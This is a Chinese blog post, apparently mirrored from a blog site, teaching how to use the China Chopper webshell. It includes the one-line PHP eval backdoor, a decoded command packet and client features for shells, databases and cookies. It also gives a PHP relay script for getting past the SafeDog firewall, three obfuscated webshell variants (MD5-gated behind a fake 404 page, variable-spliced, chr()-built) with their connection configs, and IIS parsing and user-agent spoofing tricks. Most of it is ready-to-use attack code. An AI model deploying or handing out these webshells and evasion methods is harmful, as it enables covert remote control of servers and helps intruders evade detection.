zoukankan      html  css  js  c++  java
  • 重新学习--中国菜刀

    1. 菜刀

    (1)中国菜刀的请求方式为post。
    (2)中国菜刀模拟了百度爬虫的user-agent,中国菜刀默认的连接中使用base64的方式进行编码传输,以便逃脱抓捕。

    <?php  
             eval($_POST['x']);  
    ?>
    

    客户端连接设置好URL,密码,连接。
    一句话木马的核心就是:

    PHP eval() 函数
    eval() 函数把字符串按照 PHP 代码来计算。
    该字符串必须是合法的 PHP 代码,且必须以分号结尾。
    如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。
    eval(phpcode)
    print("hello PHP!");
    就从一个执行简单命令的这一点入手,抓包分析:
    这个中国菜刀发送的HTTP包的数据部分:

    op=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOztwcmludCgiaGVsbG8gUEhQISIpOztlY2hvKCJ8PC0iKTtkaWUoKTs=
    

    这是服务器返回的HTTP数据包

    357273277->|hello PHP!|<-
    

    可以看出,这里用了base64编码,为了防止特殊字符传输失败的异常。
    用base64解码工具解码,得出上面HTTP包的数据部分为:

    @ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;print("hello PHP!");;echo("|<-");die();
    
    1. 先用@ini_set("display_errors","0");临时关闭PHP的错误显示功能

    2. @set_time_limit(0);防止像dir、上传文件大马时超时

    3. @set_magic_quotes_runtime(0);关闭魔术引号,这东西在4.0以后就不怎么用了

    4. echo("->|");没啥好说的

    5. print("hello PHP!");输出字符串

    6. die();人如其名

    二.菜刀高级用法

    1.执行shell命令&&自定义终端路径

    • 自定义终端路径

      某些时候c:windowssystem32cmd.exe拒绝访问,需要更换cmd路径来突破

    我们先上传一个自己的cmd.exe 目录为c:wwwcmd.exe
    终端执行以下命令切换脚本调用的cmd.exe路径到c:wwwcmd.exe

    setp:c:wwwcmd.exe
    

    2.数据库管理

    配置代码,以mysql为例

    <T>MYSQL</T>        //这里填写数据库类型
    <H>localhost</H>    //这里填写数据库主机地址
    <U>root</U>         //这里填写数据库用户名
    <P>root</P>          //这里填写数据库密码
    <L>utf8</L>         //这里填写编码方式
    

    3.使用菜刀进行网站爬行

    4.使用菜刀浏览器post数据

    在菜刀主界面选择一个shell,右击浏览网站进入浏览器功能,浏览器的地址栏后面有个空白的按钮,点击下即出现post数据框:

    5.使用菜刀浏览器修改cookies

    在想修改cookies的页面右击,点击拓展功能,在里面修改cookies信息即可,重回页面并刷新就应用了我们修改后的cookies。


    2.本地转发过狗原理

    网站存在安全狗的情况下即使上传了一句话菜刀也连不上,尤其是iis7.5解析漏洞,xx.jpg/.php解析了一句话并且安全狗不拦截,但是连不上shell就很头疼。
    首先要知道安全狗是如何检测并拦截的。“经过分析发现安全狗对菜刀的HTTP进行了拦截,菜刀的POST数据里面对eval数据进行了base64编码,安全狗也是利用该特征进行检测的。取消掉base64编码安全狗的确不拦截了,所以这里就认为是利用该特征进行检测。

    转发脚本

    <?php $target="";//webshell地址
    $poststr='';
    $i=0;
    foreach($_POST as $k=>$v)
    {
        if(strstr($v, "base64_decode"))
            {
                $v=str_replace("base64_decode(","",$v);
                $v=str_replace("))",")",$v);
            }else
            {
                if($k==="z0")
                    $v=base64_decode($v);
            }
        $pp=$k."=".urlencode($v);
        // echo $pp;
        if($i!=0)
        {
            $poststr=$poststr."&".$pp;
        }
        else
        {
            $poststr=$pp;
        }
        $i=$i+1;
    }
    $ch = curl_init();
    $curl_url = $target."?".$_SERVER['QUERY_STRING']; 
    curl_setopt($ch, CURLOPT_URL, $curl_url);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $poststr); 
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    $result = curl_exec($ch);
    curl_close($ch);
    echo $result;
    ?>
    

    参考链接中国菜刀原理

    3.一句话木马的变形

    1 加密类变形

    php一句话恶意脚本带404页面,带MD5加密,可浏览器POST任意php代码执行. 代码如下:

    <?php 
    
    echo"404NotFound!</br>"; error_reporting(0);
    if(isset($_POST['com'])&&md5($_POST['com'])== '791dc312b38016ef998c1
    c146104cd5a'&& isset($_POST['content'])) $content = strtr($_POST['content'], '-_,', '+/=');eval(base64_decode($content));
    echo "We're sorry but the page your are looking for is Not Found..."
    
    ?>
    

    菜刀配置填:

    <O>com=settoken&content=ZXZhbCgkX1BPU1RbJ3BhZ2UnXSk7</O>
    

    2 变量拼接类变形

    <?php $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['n985de9'];if(isset($s22)){eval($s21($s22));}
    ?>
    

    菜刀配置填:

    <O>n985de9=QGV2YWwoJF9QT1NUWzBdKTs=</O>
    

    3 加密拼接类变形

    <?php $_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_=$_fF("",$_cC);@$_();?>
    

    连接密码:1
    在常见的绕过的套路中,一般使用以下几种方式进行绕过处理:

    1、 第一种,使用各种分号 例如:/;.shell.asp;.jpg和/;1.asp/1.jpg(这里仅适用于IIS6.0)
    2、第二种 把菜刀提交的内容在中转文件替换修改。
    3、第三种 替换关键词,防止安全工具针对特定的关键字进行查杀。
    4、 第四种 伪装爬虫,不使用特定的user-agent。

  • 相关阅读:
    洛谷 P5110 块速递推
    洛谷 P3868 [TJOI2009]猜数字
    Codeforces 343D Water Tree
    Codeforces 915E Physical Education Lessons
    洛谷 P2787 语文1(chin1)- 理理思维
    洛谷 P4344 [SHOI2015]脑洞治疗仪
    洛谷 P3338 [ZJOI2014]力
    【模板】珂朵莉树(ODT)(Codeforces 896C Willem, Chtholly and Seniorious)
    【模板】FFT
    Solution of CF911G Mass Change Queries
  • 原文地址:https://www.cnblogs.com/hackxf/p/9474351.html
Copyright © 2011-2022 走看看